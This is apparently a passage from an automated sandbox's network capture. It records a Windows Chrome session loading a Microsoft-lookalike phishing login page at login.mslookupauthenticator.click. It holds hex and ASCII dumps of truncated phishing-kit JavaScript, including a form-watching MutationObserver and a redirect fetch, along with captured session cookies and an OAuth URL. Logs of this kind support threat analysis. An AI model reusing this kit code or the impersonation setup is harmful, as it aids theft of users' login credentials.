esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA
2024-12-10 14:09:50 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:50 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:50 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:50 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-12-10 14:09:50 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:50 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:50 UTC	5	IN	Data Raw: 62 64 38 0d 0a Data Ascii: bd8
2024-12-10 14:09:51 UTC	3032	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 6c 65 74 20 66 6f 72 6d 47 72 6f 75 70 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 65 6d 61 69 6c 50 72 65 46 69 6c 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 77 69 6e 42 75 74 74 6f 6e 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 20 74 6f 20 77 61 74 63 68 20 66 6f 72 20 63 68 61 6e 67 65 73 20 69 6e 20 74 68 65 20 44 4f 4d 0a 20 20 63 6f 6e 73 74 20 6f 62 73 65 72 76 65 72 20 3d 20 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 6d 75 74 61 74 Data Ascii: window.addEventListener('load', function() { let formGroupLoaded = false; let emailPreFilled = false; let winButtonLoaded = false; // Create a MutationObserver to watch for changes in the DOM const observer = new MutationObserver(function(mutat
2024-12-10 14:09:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:51 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:09:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49792	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:50 UTC	1996	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA
2024-12-10 14:09:51 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:51 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:51 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:51 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-12-10 14:09:51 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:51 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2024-12-10 14:09:51 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2024-12-10 14:09:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:51 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:09:51 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49794	152.199.21.175	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:51 UTC	651	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.mslookupauthenticator.click sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.mslookupauthenticator.click/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:51 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5920017 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Tue, 10 Dec 2024 14:09:51 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-12-10 14:09:51 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-10 14:09:51 UTC	1	IN	Data Raw: 29 Data Ascii: )
2024-12-10 14:09:51 UTC	16383	IN	Data Raw: 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 Data Ascii: )}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t)
2024-12-10 14:09:51 UTC	16383	IN	Data Raw: 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 31 Data Ascii: P_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"800411
2024-12-10 14:09:51 UTC	2	IN	Data Raw: 22 55 Data Ascii: "U
2024-12-10 14:09:52 UTC	16383	IN	Data Raw: 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 7d 2c Data Ascii: IEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0},
2024-12-10 14:09:52 UTC	16383	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 6e 6f Data Ascii: :function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("igno
2024-12-10 14:09:52 UTC	16383	IN	Data Raw: 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 Data Ascii: .m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function e
2024-12-10 14:09:52 UTC	16383	IN	Data Raw: 73 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 7c 7c Data Ascii: set")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e\|\|
2024-12-10 14:09:52 UTC	16383	IN	Data Raw: 75 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 68 Data Ascii: urn i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49795	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:52 UTC	1075	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA
2024-12-10 14:09:53 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:53 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:53 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:53 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-12-10 14:09:53 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:53 UTC	5	IN	Data Raw: 62 64 38 0d 0a Data Ascii: bd8
2024-12-10 14:09:53 UTC	3032	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 6c 65 74 20 66 6f 72 6d 47 72 6f 75 70 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 65 6d 61 69 6c 50 72 65 46 69 6c 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 77 69 6e 42 75 74 74 6f 6e 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 20 74 6f 20 77 61 74 63 68 20 66 6f 72 20 63 68 61 6e 67 65 73 20 69 6e 20 74 68 65 20 44 4f 4d 0a 20 20 63 6f 6e 73 74 20 6f 62 73 65 72 76 65 72 20 3d 20 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 6d 75 74 61 74 Data Ascii: window.addEventListener('load', function() { let formGroupLoaded = false; let emailPreFilled = false; let winButtonLoaded = false; // Create a MutationObserver to watch for changes in the DOM const observer = new MutationObserver(function(mutat
2024-12-10 14:09:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:53 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:09:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49796	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:52 UTC	1010	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; 